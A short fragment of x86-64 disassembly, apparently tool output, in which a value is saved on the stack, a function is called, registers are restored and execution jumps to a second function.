mov qword [rsp + 0x10], rbx
call fcn.69362ea0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.69315940